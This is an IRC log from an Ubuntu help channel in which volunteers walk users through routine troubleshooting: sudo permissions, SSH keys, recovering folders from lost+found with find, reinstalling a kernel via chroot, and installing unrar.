[16:27] <pdlnhrd> filesystem choice is all about what your system is goign to be doing... not about what you like
[16:27] <nomoa> erUSUL, thanks so how can I enable my monitor user to list all processes (zabbix_user)
[16:27] <keewee> LjL: yes. I have a Palm and I want to open the emulator's main window, which lets me transfer the ROM from the Palm
[16:27] <Kira> (you can't go wrong when you have a file system that cannot be filled without using enough energy to evaporate every ocean on Earth)
[16:27] <erUSUL> nomoa: use sudo
[16:27] <Kira> :P
[16:28] <erUSUL> Kira: move to #opensolaris #solaris or #ubuntu-offtopic please
[16:28] <nomoa> erUSUL, is there a special group nor an acl file?
[16:28] <erUSUL> nomoa: admin group can sudo
[16:29] <soundray> kane77: you should enable key authentication for that kind of thing
[16:29] <kane77> soundray, how do I do that?
[16:29] <LjL> keewee: just plainly typing "pose" loads it up for me
[16:29] <nomoa> erUSUL, thanks I'll try to add zabbix user to admin
[16:29] <Steeps> hihi, dipping my feet into linux for the first time after trying a live cd, was hoping to build a file server which will eventually expand into router stuff, web server and printer server, but at the same time I'd like to use it for messengers etc so I don't have to leave another pc on. does ubuntu server allow this or do i want desktop and then add things like samba to that?
[16:30] <keewee> LjL: Thanks! LOL, I'm so new to this...
[16:30] <soundray> kane77: this page has a good explanation: http://pkeck.myweb.uga.edu/ssh/
[16:30] <erUSUL> nomoa: you can also make a sudoers rule to let zabbix run only ps with sudo. depends on how much you trust the user
[16:30] <kane77> soundray, thank you
[16:31] <erUSUL> Steeps: well for a start server has no gui so maybe for a begginer is better to install desktop and install server software
[16:31] <nomoa> erUSUL, in facts it's a monitoring process it needs to access the whole process list, and it can't be run as root for security reasons... I can't make zabbix to use sudo...
[16:32] <Steeps> thanks erUSUL, wasn't sure if server had a gui or not, will stick with desktop then  :)
[16:32] <erUSUL> nomoa: so zabbix is the user some monitoring app is running under ?
[16:32] <nomoa> erUSUL, yes zabbix_agentd is the process
[16:32] <erUSUL> Steeps: you can make viceversa install server version and add gui later ;P talk about flexibility
[16:35] <blake_> im using macchanger on ubuntu, it works great, but is their no command to restore the hardware mac addy?
[16:35] <blake_> im using macchanger on ubuntu, it works great, but is their no  command to restore the hardware mac addy?
[16:35] <blake_> shit, sorry
[16:35] <ubuntu> hello
[16:36] <ubuntu> hi, does anybody knows how could i just copy directoryes that their size is diferrent than cero ??
[16:37] <blake_> nobody is in here, not helping atleast
[16:37] <blake_> ahhh, free software, gotta love it
[16:37] <erUSUL> nomoa: maybe your app should use capabilities ? http://www.linuxjournal.com/article/5737
[16:37] <HymnToLife> helping? I'm just here for the lulz
[16:37] <blake_> "linux is only free if your time is worthless" i love that quote, so true
[16:37] <nomoa> erUSUL, there may be something in /etc/security/* I will check
[16:38] <nomoa> erUSUL, thanks
[16:38] <keewee> LjL: Did you ever try the Palm OS Simulator? I downloaded a Windows version which works well on Win, and I tried using Wine on Ubuntu but it starts really slow and strange
[16:38] <usser> blake_, stop whining and go get a refund
[16:38] <keewee> LjL: I could open POSE and it works ok, but I was just wondering why the Simulator didn't work...
[16:39] <LjL> keewee: not really, i've used it once or twice but *ages* ago
[16:40] <ioops3> erUSUL: re
[16:40] <erUSUL> ioops3: ?
[16:41] <ioops3> Yes i use a computer but the other person need to use
[16:41] <blazerrr> hi, does anybody knows how could i just copy directoryes that their size is diferrent than cero ??
[16:41] <ioops3> I am on the live cd
[16:42] <MaximLevitsky> can f-spot print on 4x6 paper?
[16:42] <Xtyn> can anyone explain to me why there needs to be a new release to integrate a certain program in a linux distro?
[16:42] <usser> blazerrr, ls
[16:42] <MaximLevitsky> I don't see a setting for that
[16:42] <usser> err
[16:42] <blazerrr> usser, how?
[16:42] <LjL> Xtyn: because that's how the Ubuntu release schedule works. once a release is out, stuff isn't added or changed (aside from fixing bugs).
[16:42] <usser> blazerrr, sorry wrong window. what was your question?
[16:42] <erUSUL> Xtyn: www.getdeb.net and backports repo show that's not allways the case
[16:43] <blazerrr> usser does anybody knows how could i just copy directoryes that their size is diferrent than cero ??
[16:43] <usser> blazerrr, oh try cp -R dir1/ newname/
[16:43] <erUSUL> ioops3: have you managed to install the older kernel ?
[16:43] <LjL> Xtyn: there isn't a compelling technical reason for that, but it helps ensure that things remain stable, and lets developers concentrate on making them so. other distributions don't necessarily work this way.
[16:43] <blazerrr> usser, but i want it to copy just the folders with contents
[16:44] <usser> blazerrr, that will do it: cp -R oldfolder/ newfolder/
[16:44] <blazerrr> usser, and also i want it to copy just folders not any file
[16:45] <edgeoftherainbow> blazerrr: you need to use the 'find' command then
[16:45] <ryder> is there a wubi IRC?
[16:45] <edgeoftherainbow> ryder: check their website, but not last time I checked
[16:45] <blazerrr> usser, i mean... to copy the folders with content, and not to copy any file that is without folder
[16:45] <usser> blazerrr, oh u want to just copy directory structure?
[16:45] <danielTEXAS> hi
[16:45] <ryder> is it possible to use jfs on wubi?
[16:46] <usser> blazerrr, i see yes you have to use find command. I dont really know how to use it myself so i cant help u with that
[16:46] <danielTEXAS> I need help, im usung ubuntu 7.1 when i insert my pcmia wireless b card, ubuntu locks up
[16:46] <blazerrr> usser,edgeoftherainbow, no. I just recovered a partition... and all my files have been moved to lost+found directory
[16:46] <danielTEXAS> any suggestions?
[16:46] <blazerrr> usser,edgeoftherainbow, so what i want to do is just to copy the folders that really has content
[16:46] <ubuntu> hi every one, this is the first time I am using ubuntu, and I think that is great
[16:46] <ryder> can wubi damage my windows install/
[16:47] <keewee> LjL: ok, thanks and goodbye
[16:47] <shinbo> Hey, quick question (maybe should be in #kubuntu irc) but I kinda messed up my bootloader and it deleted windows, and won't load ubuntu... if I install kubuntu without formatting will it delete my files on ubuntu?
[16:47] <onthefence9281> ryder: it's designed not to
[16:47] <edgeoftherainbow> blazerrr: you need to write some sort of small shell script then....
[16:47] <usser> blazerrr, hang on
[16:47] <ryder> does it still use NTFS?
[16:47] <blazerrr> usser,edgeoftherainbow, inside lost+found is a bunch of crap... so i want to make sure to just copy FOLDERS and with size different than cedro
[16:47] <blazerrr> cero
[16:48] <onthefence9281> blazerrr: you mean zero? i'm guessing you are spanish?
[16:48] <ubuntu> I have an image of one of my pcs with an arc extension, I want to use qemu to run it, but it does not seem to recognise it... is there any other virtual machine software on ubuntu to use that knows this extension?
[16:48] <edgeoftherainbow> blazerrr: it's probably easier to just copy everything and then go in and delete the directories with nothing in them.  You can use 'find' for that
[16:48] <blazerrr> usser,edgeoftherainbow, inside lost+found there is simbolink links, files and folders..... i just want to copy the folders!!!
[16:48] <usser> blazerrr, hang on
[16:48] <erUSUL> !virtualizers > ubuntu
[16:48] <blazerrr> onthefence9281, yeah sorry =)
[16:48] <onthefence9281> blazerrr: it's ok i'm from miami, you learn to catch spanglish
[16:49] <blazerrr> onthefence9281 hahaha lol
[16:49] <blazerrr> edgeoftherainbow mmmm let me see
[16:49] <blazerrr> usser, ok =)
[16:49] <danielTEXAS> Can someone please help me figure out why when i insert my wireless card, why does ubuntu lock up?
[16:49] <cabralxinhu> I want ubuntu.br
[16:49] <edgeoftherainbow> cabralxinhu: /join #ubuntu-br
[16:50] <pdm_> why my battery icon tell me always that the charge is 0%
[16:50] <cabralxinhu> thank...
[16:50] <ioops> so sorry
[16:50] <Zaiden> How do I install flash player in 64bit ubuntu? THe download firefox suggests doesn't work
[16:50] <soundray> danielTEXAS: run 'tail -f /var/log/syslog' in a terminal before you insert and see if any errors are logged
[16:50] <usser> blazerrr, i'll write a simple script give me some time
[16:50] <usCan> :D
[16:50] <usCan> a.q
[16:50] <Nematocyst> my network isn't starting completely anymore.  if i type 'sudo ifup bridge0', everything works.  what can i do to have it done automatically
[16:50] <Sylphid|work> danielTEXAS, my guess is that the module ubuntu tries to load is crashing the system and needs to be blacklisted
[16:51] <usCan> Fuck nebukan
[16:51] <usCan> :D
[16:51] <edgeoftherainbow> Zaiden: install flashplugin-nonfree after ensuring you have enabled the -updates repository
[16:51] <usCan> :D
[16:51] <FloodBot1> usCan: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[16:51] <blazerrr> usser, all right thank you very much, im also reading find man page
[16:51] <usCan> :(
[16:51] <ioops> soundray: how can i copy the kernel from the live cd to my hard disk ?
[16:51] <soundray> danielTEXAS: when it's frozen, try to do a clean reboot by holding down Alt+PrintScreen and typing R E I S U B
[16:51] <danielTEXAS> how do i use new module?
[16:51] <Zaiden> Thank you edge
[16:51] <Sylphid|work> soundray, is magic sysreq enables in stock ubuntu??
[16:52] <pdm_> how it advise me that the battery charge is always 0% ???
[16:52] <monostone> I somehow messed up the keymapping for my logitech USB G11 keyboard media keys. Xorg.0.log is beggining to report a "(II) Unreported Prefix0 scancode: 0x22" message, i investigated a bit and saw that the hex codes the messages print are the keydown scancode of the media keys as reported via "showkey -s". BUT xev does NOT detect the media keys anymore (no keycode, keysym, nothing), on the other hand in gnome keyboard shortcuts the
[16:52] <monostone> keys ARE detected, also running "lshal -m" does detect the keysym for all the media keys. Rythymbox continues to have the media keys working (I suppose because it uses its own mapping settings), but totem has lost them. Any pointers as to what the problem is? could this be a kernel keymap issue? or since the message appears in my Xorg.0.log, is it a X issue?
[16:52] <danielTEXAS> soundray
[16:52] <erUSUL> blazerrr: find /lost+found/ -type d | xargs du -s | awk '$1 > 0'
[16:52] <usser> blazerrr, bah actually script is not the right solution since it has to go recursively thru directoies etc use find
[16:52] <danielTEXAS> soundray, im using a linksys wireless b card, it works with ubuntu 8, but when i insert it into 7.1 it locks up
[16:52] <erUSUL> blazerrr: the list of dirs with size as reported by du greater than 0
[16:52] <soundray> Sylphid|work: yes
[16:52] <soundray> danielTEXAS: did you read what I suggested?
[16:53] <danielTEXAS> soundray, is there a way to choose a different module for it?
[16:53] <blazerrr> erUSUL, usser allright guys im going to try this script right now , hold on
[16:53] <soundray> danielTEXAS: you are not approaching the problem in the right way
[16:53] <blazerrr> usser, so what is the right solution?
[16:54] <pdlnhrd> blazerr:  why not delete all the empty directories than copy over the good stuff?
[16:54] <usser> blazerrr, the find command that erUSUL gave u looks right but its missing an exec part where it actually copies the directories
[16:54] <edgeoftherainbow> pdlnhrd: I would copy first in case the deleting fucks up and deletes too much
[16:54] <bazhang> edgeoftherainbow, no cursing
[16:55] <soundray> !language | edgeoftherainbow
[16:55] <edgeoftherainbow> k
[16:55] <cuixin> 大家好阿
[16:55] <blazerrr> usser, erUSUL is running guys...
[16:55] <pdlnhrd> but deleting them is so easy  "find . -type d -empty -depth | xargs rmdir -"
[16:55] <tamer_> is it safe to update to ubuntu 8.10 now because i am doing that?
[16:55] <bazhang> !cn | cuixin
[16:55] <soundray> tamer_: no
[16:55] <pdlnhrd> make a backup of lost+found and try it out...
[16:55] <edgeoftherainbow> pdlnhrd: well you can still run it after copying anyway
[16:56] <soundray> !intrepid | tamer_
[16:56] <pdlnhrd> just copy lost and found to new location and delete empty directories... if it doesn't work you still have the originals
[16:56] <cuixin> linux没有声音啊？
[16:56] <edgeoftherainbow> pdlnhrd: why the '-' at the end of your command?   What does that do?
[16:56] <soundray> !pm > tamer_
[16:56] <bazhang> cuixin, /join #ubuntu-cn
[16:56] <unfo> !cn | cuixin
[16:56] <bazhang> cuixin, here is english
[16:56] <ioops> soundray: do you have time ?
[16:57] <LyBra> hello @ all
[16:57] <pdlnhrd> edgeoftherainbow:  the argument
[16:57] <tamer_> so why it is not safe ?
[16:57] <emorris> Hi, when I run a graphical app as root (eg. synaptic), it shows up in the blocky default gnome theme. Is there any way to make this use the user's setting instead? I have tried running gnome-appearance-properties as root, but this did not help. Any ideas?
[16:57] <soundray> !intrepid > tamer_
[16:57] <bazhang> tamer_, wrong channel for that
[16:57] <pdlnhrd> or you can do find . -depth -empty -type d -exec rmdir {} \;
[16:57] <soundray> ioops: what can I do for you?
[16:57] <blazerrr> usser, erUSUL all right!!! the folders are being listed!, is there any way to see the column size?? just in case to be sure about the size?? because just folder name is being listed
[16:57] <erUSUL> emorris: use gksudo not sudo
[16:57] <fremc> any turkish help me ?
[16:58] <DRebellion> !turkish | fremc
[16:58] <soundray> !tr | fremc
[16:58] <erUSUL> blazerrr: omit the awk command
[16:58] <edgeoftherainbow> pdlnhrd: is that undocumented?  It does not seem to be in the man
[16:58] <erUSUL> blazerrr: find /lost+found/ -type d | xargs du -s
[16:58] <emorris> erUSUL: I am...
[16:58] <ioops> soundray: I have dowloaded the kernel 2-6-24-18 and I would like to copy on the hard disk for installation
[16:58] <LyBra> +.+
[16:58] <blazerrr> erUSUL but that will list folders with zero size?
[16:58] <ubuntu> erUSUL: sorry, I did not get you....what do you mean?
[16:58] <pdlnhrd> seriously... just copy the whole lost+found to the new location and run find . -depth -empty -type d -exec rmdir {} \;
[16:58] <soundray> ioops: are you on the live CD right now?
[16:59] <edgeoftherainbow> emorris: you can symlink the theme stuff in your /root to the one in your ~
[16:59] <ioops> soundray: yes
[16:59] <cuixin> Where are you from?
[16:59] <tamer_> i did it automatic update for interpid and i want to stop that now but i didn't backup my sources
[16:59] <fremc> anyone help me about my xfi sound card , am new to ubuntu
[16:59] <ioops> i have to computer, one for irc and one is my computer with initramfs pb
[16:59] <erUSUL> blazerrr: you are right ... the original command should list the size
[17:00] <emorris> edgeoftherainbow: ok, which subdir(s) is it?
[17:00] <tamer_> i want to get back my sources and stop my update
[17:00] <soundray> tamer_: you are asking this in the wrong channel. Read the private message you received from ubottu
[17:00] <erUSUL> emorris: here it uses my user's theme ...
[17:01] <soundray> tamer_: don't try to downgrade from intrepid -- it's going to break more than you can rescue in this way
[17:01]  * Marfi waves to all of #ubuntu
[17:01] <fremc> give the new user (me) a hand !!!
[17:01] <erUSUL> !virtualizers | ubuntu
[17:01] <soundray> ioops: where did you save the kernel deb?
[17:01] <robert__> Hi there
[17:01]  * Marfi claps for fremc
[17:02] <ioops> on the live cd
[17:02] <emorris> erUSUL: yeah, that's what i thought it did by default
[17:02] <Marfi> erUSUL, is there one for emulating mac apps?
[17:02] <fremc> i need help for my sound card
[17:02] <erUSUL> Marfi: no
[17:02] <ioops> soundray: do you think the way i am taking is good?
[17:02] <Marfi> erUSUL, thats what i thought, ty. =)
[17:02] <robert__> anyone know any good guide to make a Canon MP220 printer to start working?
[17:02] <soundray> ioops: yes
[17:03] <ioops> soundray: ok
[17:03] <soundray> ioops: where did you mount your root filesystem?
[17:03] <fremc> :(
[17:03] <pdlnhrd> robert_: what have you tried so far?   I find the System -> Administrator -> Printing works pretty well?   over usb? IP?
[17:03] <angusthefuzz> fremc: I have a working x-fi card
[17:03] <ioops> soundray: in /media
[17:03] <angusthefuzz> fremc: I used the tutorial on the ubuntu forum, do you need the link?
[17:03] <soundray> ioops: what mount command did you run?
[17:04] <fremc> i tried ,i wrote every code
[17:04] <corinth> I'm having trouble getting Cheese (or any other program) to recognize my Logitech Quickcam Ultra Vision SE. Help?
[17:04] <jedimind> how do i install a font? i have a ttf font but cant figure out how to start using it ?
[17:04] <fremc> but i am new and do not understand
[17:04] <ioops> soundray: i have only clic on the disk icon on the ubuntu and after word i made chroot
[17:05] <angusthefuzz> fremc: does osstest give you any sound?
[17:05] <fremc> no
[17:05] <angusthefuzz> fremc: did you follow the oss instructions?
[17:05] <amanulla> in oreder to op-en a .rar file in ubuntu 8 what do we need/
[17:05] <fremc> and i have no idea that is working or nor
[17:05] <amanulla> ho to open?
[17:05] <soundray> ioops: okay, what's the command you used for chroot?
[17:05] <soundray> !rar | amanulla
[17:05] <ioops> soundray: only chroot /media/disk
[17:05] <johnmatrix> Hi, I am having really odd behaviour with firefox and opera.. i tried to login to facebook in opera and at the bottom it says completed request to www.google.com.au ... and it hangs there. if i go to google.com nothing happens. other sites appear to be working, and I am getting the same behaviour in firefox
[17:05] <Keule> hi there
[17:06] <amanulla> i need software to open rar file
[17:06] <Keule> can someone tell me the channel for intrepid?
[17:06] <blazerrr> erUSUL, thank you very much! how could i do now to copy what the find /lost+found/ -type d | xargs du -s | awk '$1 > 0' script gives me ?
[17:06] <soundray> ioops: open another terminal please
[17:06] <amanulla> can any one pls/
[17:06] <co_krj_diSUBANG> urrrrrrrju
[17:06] <ryder> does wubi use windows drivers for devices?
[17:06] <ioops> soundray: already did
[17:06] <robert__> #ubuntu-se
[17:06] <shadowhywind> hay all i have an ext3 partition used for data, i let the installer handle the mounting, and now i can't write to the partition without root priv, the mount options are rw,relatime any ideas?
[17:06] <soundray> amanulla: read what ubottu wrote above
[17:06] <soundray> ioops: is the kernel deb on the desktop?
[17:06] <ioops> soundray: yes
[17:07] <mizipzor> whats the gnome equivalent of konsole?
[17:07] <Keule> i have an error when booting the newest kernel: Booting paravirtualized kernel on bare hardware
[17:07] <johnmatrix> terminal?
[17:07] <fremc> i think i need someone who has to teach me all this things.İ think i will not make it.i think i should go back to windows xp,
[17:07] <soundray> ioops: in the new terminal, run 'cp ~/Desktop/linux*.deb /media/disk/tmp'. Any error messages?
[17:07] <blazerrr> shadowhywind, mmm issue the command "mount" alone, look the attributes of the ext3 partition and compare with the others partitions, after that you could modify fstab
[17:08] <pdlnhrd> amanulla:   you could also go to System -> Administrator -> Synaptic Package Manger and search for rar... it will list programs that will work
[17:08] <shadowhywind> blazerrr: thats the thing, they are the same permissions as my home partition
[17:08] <soundray> fremc: getting an XFi card to work is not a beginners project. Get another sound card, or use Windows when you need sound.
[17:09] <ryder> wats a good ide in linux for C and c#?
[17:09] <ioops> soundray: no error message
[17:09] <ioops> soundray: I just have to dpkg -i now _
[17:09] <ioops> ?
[17:09] <soundray> ioops: okay. In the chroot, try 'dpkg -i /tmp/linux*.deb'
[17:09] <shadowhywind> blaserr
[17:09] <shadowhywind> /dev/sda6 on /home type ext3 (rw,relatime)
[17:09] <shadowhywind> /dev/sda3 on /media/nayru type ext3 (rw,relatime)
[17:09] <shadowhywind> *dang it... *
[17:09] <eddievader> I have a problem with gdm, I installed ubuntu on a laptop, everything works fine, but when I change the gdm login screen in login window and restart it keeps going back to the default screen.  I have two other ubuntu pc's that dont have this problem.
[17:09] <FloodBot1> shadowhywind: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[17:09] <shadowhywind> sorry about that, I didn't want to send that
[17:10] <fbt> hello, I have several computers with the same wifi card working on ndiswrapper, but one of the computers detects "Unknown device" insted of "Realtek (...) Wireless LAN Controller" and ndiswrapper doesn't detect it
[17:10] <amanulla> pdlnhrd: ihave searched but i found many
[17:10] <blazerrr> shadowhywind all right hold on
[17:10] <pdlnhrd> amanulla:  so your question is which is the best?
[17:10] <ioops> soundray: I just dl one paquage i need more ?
[17:10] <amanulla> in xp i use winrar like that any name in ubuntu to search to unzip
[17:10] <amanulla> any one
[17:10] <abby87> amanulla: urar or unrar i guess
[17:11] <soundray> ioops: see if the dpkg -i command reports any errors
[17:11] <eddievader> amanulla, rar and unrar install those and you can extract in GUI
[17:11] <Pici> amanulla: the unrar package will allow the gnome file archiver to unrar rar files.
[17:11] <ioops> soundray: ok I am waiting ...
[17:11] <amanulla> how to insatll from terminal
[17:11] <amanulla> any command?
[17:11] <Pici> amanulla: sudo apt-get install unrar
[17:11] <eddievader> sudo apt-get install unrar
[17:11] <abby87> amanulla: sudo apt-get install unrar
[17:11] <apj__> hello
[17:11] <skeletor> Hey all, new to linux, just installed ubuntu and my screen is stuck on 800x600 and there isnt an option to increase it, anyone got any ideas?
[17:12] <abby87> i was trying tab completion :P
[17:12] <abby87> apj__: hello
[17:12] <ioops> soundray: I have one error, during the installation he didn t find the grub directory
[17:12] <eddievader> I have a problem with gdm, when I change the gdm login screen in login window and restart it keeps going back to the default screen.
[17:12] <ioops> soundray: he thinks I have no grub
[17:12] <fremc> any "brave" one help me ?
[17:13] <soundray> ioops: in the chroot, does 'ls /boot/grub/' show any files?
[17:13] <amanulla> thanks for all i have got it
[17:13] <abby87> amanulla: great enjoy  ;)
[17:13] <ioops> soundray: I have just ckecked and no grub in /boot
[17:13] <ioops> just kernels
[17:14] <skeletor> Can anyone help me out with my screen size
[17:14] <fremc> is there a channel for newbies
[17:14] <fremc> is there a channel for newbies
[17:14] <abby87> fremc: this is the place
[17:14] <blazerrr> shadowhywind /dev/sdc1 on /media/PublicZone type vfat (rw,nosuid,nodev,shortname=mixed,uid=999,utf8,umask=077)
[17:14] <fremc> so you can help me abby87
[17:14] <lovenkraft> skeletor:> ubuntu chose a generic monitor for me. I chose one that supported 1024x768(my laptop)
[17:14] <eddievader> fremc, just ask your question in the channel
[17:14] <abby87> fremc: pls share your probs (ofcourse related to ubuntu)
[17:15] <eddievader> if someone can help they will
[17:15] <ioops> soundray: maybe my problem with initramfs came from because i don t have grub in /boot but somewhere else
[17:15] <ioops> soundray: but I don t know where ...
[17:15] <fremc> ok guys i have xfi soundcard
[17:15] <abby87> fremc: i'll try my best
[17:15] <fremc> i am new
[17:15] <fremc> what can i do
[17:15] <soundray> ioops: I don't think so
[17:15] <shadowhywind> blazerrr: i think i fugred it out, It didn't change the owner of the folder
[17:15] <fremc> i entered tons oof codes
[17:15] <fremc> but could not make it
[17:15] <eddievader> frem checked the forums?
[17:15] <speener> can anyone help me set up mysql?
[17:15] <fremc> yes
[17:16] <abby87> fremc: every1 starts new ..can u please describee ur prob in a more specific manner?
[17:16] <blazerrr> shadowhywind, so su as root, and do some chroot, chown
[17:16] <speener> i've followed many how-to's but none seem to work fine...
[17:16] <fremc> ok  no sound
[17:16] <ioops> soundray: I don t understand, I have grub when I start the computer
[17:16] <speener> there's always a problem
[17:16] <fremc> i want to hear sound
[17:16] <ioops> soundray: with kernel list
[17:16] <shadowhywind> blazerrr: yup, thats what i have done, hehe
[17:16] <abby87> fremc: thats a common prob
[17:16] <blazerrr> shadowhywind cool
[17:16] <abby87> fremc: did u hear sound when u installed ubuntu 1st
[17:16] <abby87> ?
[17:16] <eddievader> fremc, fixedproblem.blogspot.com/2008/07/x-fi-ubuntu-804-driver-install.html
[17:16] <shadowhywind> blazerrr: thanks for looking into it anyways
[17:16] <soundray> ioops: do you get any output from 'grep boot /etc/fstab'?
[17:17] <fremc> abb87 :i didnot hear
[17:17] <blazerrr> shadowhywind =)
[17:17] <fremc> eddie: i think i downloaded this driver
[17:17] <abby87> fremc: so ur soundcard is not detectedd
[17:17] <ioops> soundray: yes
[17:17] <fremc> but
[17:17] <shadowhywind> blazerrr:  i love the new install sort of issues, hehe
[17:17] <eddievader> try to type more than one word on a line.
[17:17] <abby87> fremc: do u know which sound card u use?
[17:18] <soundray> ioops: what does it say?
[17:18] <ioops> soundray: I have : UUOD=xxxx /boot ext3 relatime 0 2
[17:18] <abby87> fremc: laptop/desktop?
[17:18] <blazerrr> shadowhywind, yeah me too, each issue is a new challenge
[17:18] <eddievader> request assistance: I have a problem with gdm, when I change the gdm login screen in login window and restart it keeps going back to the default screen.
[17:18] <speener> anyone?
[17:18] <fremc> xfi fatality champiıons
[17:18] <fremc> desktop abby
[17:18] <soundray> ioops: do you know why your installation has a separate /boot partition?
[17:18] <abby87> fremc: is ur soundcard a pci one?
[17:18] <ioops> soundray: yes because I made this
[17:19] <shadowhywind> blazerrr: oh thinking about that.. have to head over to the intrepid channell having a bit of an issue with a new kernel
[17:19] <fremc> no it is not pic abby
[17:19] <soundray> ioops: did you change this during or after the installation?
[17:19] <speener> CAN ANYONE HELP WITH MYSQL??
[17:19] <ioops> soundray: no
[17:19] <eddievader> no caps please
[17:19] <eddievader> speener, if anyone can help they will
[17:20] <ioops> soundray: I made a /boot partition before the install
[17:20] <abby87> fremc: so which interface?? is it an external soundcard?
[17:20] <blazerrr> shadowhywind, hold on
[17:20] <ioops> soundray: and I formated it during the install and I made the /boot mount stuff during the paritioning step
[17:20] <ioops> soundray: I made a mistake ?
[17:21] <JuJuBee>  I am looking for a new laptop and will run Kubuntu primarily occasionally WinBlows for gaming (rarely though).  Anybody willing to have a look at 3 from new egg and give reccomendations?
[17:21] <fremc> oh sorry  abby yes it is pci (i got it wrong)
[17:21] <abby87> eddievader: mebbe ur x server keeps crashing
[17:21] <eddievader> abby87, well so far it's not
[17:21] <abby87> fremc: type this command in terminal          lspci | grep Audio
[17:21] <soundray> ioops: I think you may have made a mistake at some stage... but let's ignore it for a second and see if we can fix it anyway. Do you know the device name of your boot partition?
[17:21] <abby87> eddievader: so u get to the gdm screen and try to login wat happens?
[17:21] <eddievader> abby87, everything works fine, except I cannot change gdm login window
[17:22] <abby87> eddievader: what is the error u get?
[17:22] <C0il> Salut
[17:22] <eddievader> abby87, I dont get an error, I go to login window, select a new gdm screen, restart x, and goes back to default
[17:22] <abby87> C0il: Salut , bonsoir
[17:22] <soundray> abby87: fremc has a Creative XFi, which is supported only by an experimental closed-source 64bit driver from Creative. That's why I told fremc that what he was getting into was not a beginner's project
[17:22] <eddievader> abby87, I have two other ubuntu pc's that dont have this issue
[17:22] <ioops> soundray: yes
[17:23] <ioops> soundray: it s /dev/sda3
[17:23] <soundray> ioops: what is it?
[17:23] <eddievader> abby87, I even reinstalled gdm, same thing
[17:23] <abby87> eddievader: hmmm so its not a bug
[17:23] <fremc> gosh,it is so complicated
[17:23] <soundray> ioops: in the new terminal, run 'sudo mount /dev/sda3 /media/disk/boot', then re-run the dpkg -i command in the chroot
[17:24] <abby87> soundray: hmm ya its very hectic to install expmtl drivers
[17:24] <dfgas> where do i find the bookmarks so i can copy them over to my new install of ubuntu? in firefox that is
[17:24] <eddievader> fremc, its not complicated, just be patient :)
[17:24] <speener> eddievader: i changed the gdm theme once and it did the same thing, kept the config for a day or two and then restarted the computer for some other reason and when i did the gdm theme worked
[17:24] <erUSUL> soundray: the driver supports 32 bit too but you are right not for newbies
[17:24] <eddievader> fremc, dont forget creative didnt exactly make 100% driver support, so its partly them to blame :)
[17:24] <abby87> fremc: just dont panic and keep posting in ubuntu forums
[17:24] <eddievader> speener, hmm
[17:24] <Marfi> exit
[17:25] <soundray> erUSUL: ah, thanks for the update
[17:25] <dk> hi ,
[17:25] <ioops> soundray: it s works
[17:25] <blazerrr> erUSUL, hi is there any way to check what will be the total size that i will need in order to copy all from the script you gave me find /lost+found/ -type d | xargs du -s | awk '$1 > 0'
[17:25] <dk> i need help
[17:25] <eddievader> very weird error really.
[17:25] <unfo> !help | dk
[17:25] <dk> any can help me?
[17:25] <unfo> !helpme
[17:25] <dk> unfo,  hi
[17:25] <unfo> hi dk
[17:25] <abby87> dk: hello dk please be specific
[17:25] <soundray> ioops: now in the chroot, see if /boot/grub/menu.lst contains an entry for booting the new (old) -18 kernel
[17:25] <fremc> anyway,i have decided to use my onboard card,how can i do this
[17:25] <dk> unfo,  can help me?
[17:26] <abby87> dk: unless u tell us in detail wat prob u have we wont be able to help you
[17:26] <unfo> dk: sorry, i sent the wrong snippet.  Here is IRC etiquette:  Ask everyone your question.
[17:26] <dk> ok, my english isnt very welll
[17:26] <blazerrr> dk, whats the problem
[17:26] <ioops> soundray: yes
[17:26] <unfo> dk: what language do you prefer?
[17:26] <ioops> soundray: I have a new entry
[17:26] <dk> spanish
[17:26] <unfo> !es | dk
[17:26] <abby87> !sp
[17:26] <erUSUL> !es | dk
[17:26] <dk> :p xD sorry for this.
[17:26] <eddievader> problem is I checked the forums
[17:26] <eddievader> I checked the gdm.conf
[17:26] <Mr-S> quick question> has the root login issue been solved in the latest ubuntu release ?
[17:27] <soundray> ioops: okay, it's time to cross fingers, reboot and select the -18 entry from the grub menu
[17:27] <eddievader> nothing seems wrong
[17:27] <abby87> eddievader: wat was the error?
[17:27] <ioops> soundray: ok
[17:27] <soundray> Mr-S: what root login issue?
[17:27] <dk> no no , but  now , nothing can help me in this chanel
[17:27] <eddievader> abby87, as I said, there was no error. gdm just doesn't want to switch gdm screens
[17:27] <fremc> anyone wants to connect my computer and try to solve my problems :)
[17:27] <blazerrr> erUSUL, hi is there any way to check what will be the total size that i will need in order to copy all from the script you gave me find /lost+found/ -type d | xargs du -s | awk '$1 > 0'
[17:27] <dk> i will creating pack .deb but i have problems
[17:28] <Mr-S> friend of mine using latest ubuntu release> says cant use root or activate root
[17:28] <Mr-S> sorry I am a slacky, do not know much about ubuntu
[17:28] <abby87> eddievader: is ur xorg fine///??\
[17:28] <eddievader> abby87, yes sir
[17:28] <abby87> sorry for the typos
[17:28] <erUSUL> blazerrr: no easy maybe the awk script can be changed to sum the total size...
[17:28] <bazhang> Mr-S, use sudo
[17:28] <Sylphid|work> Mr-S, use sudo
[17:28] <Mr-S> sudo i snot accaptable
[17:28] <wizardslovak>  hello people i am newby with kubuntu ( i have it on virtualbox-kubuntu server) and i would like to know how can i see info about my system?
[17:28] <abby87> fremc: seek assistance at forums
[17:28] <emorris> Mr-S: this is for security reasons. You can activate it by setting a password, but it is strongly recommended not to
[17:28] <eddievader> but I will do a reconfigure xserver-xorg MAYBE that will fix it
[17:29] <Mr-S> need root access to modify his ubuntu install
[17:29] <abby87> eddievader: nvidia?
[17:29] <ioops> soundray: it s not working because he doesnt find the file
[17:29] <eddievader> abby87, intel
[17:29] <blazerrr> erUSUL and to copy all that bunch of folders this would be enough? copy -R find /lost+found/ -type d | xargs du -s | awk '$1 > 0' /newfolder
[17:29] <soundray> Mr-S: you can activate root, but it runs counter to how ubuntu is designed. If sudo is unacceptable, then ubuntu is unacceptable (*shrug*)
[17:29] <soundray> ioops: what file?
[17:29] <eddievader> abby87, as I said I never had this error before, Ive installed ubuntu on a few machines.
[17:29] <emorris> Mr-S: what exactly are you trying to change?
[17:29] <ioops> I don t know maybe the kernel
[17:29] <Mr-S> just need to teak and setup some config files, doing sudo all the time makes me crazy ... sorry
[17:29] <soundray> ioops: are you referring to an error message?
[17:30] <ioops> soundray: I selected the old kernel and I have error message like "error 15 : file not found"
[17:30] <soundray> Mr-S: if you really, really need it, use 'sudo -i' to get a root shell
[17:30] <dk> any person, can help me?? i need create pack deb in ubuntu
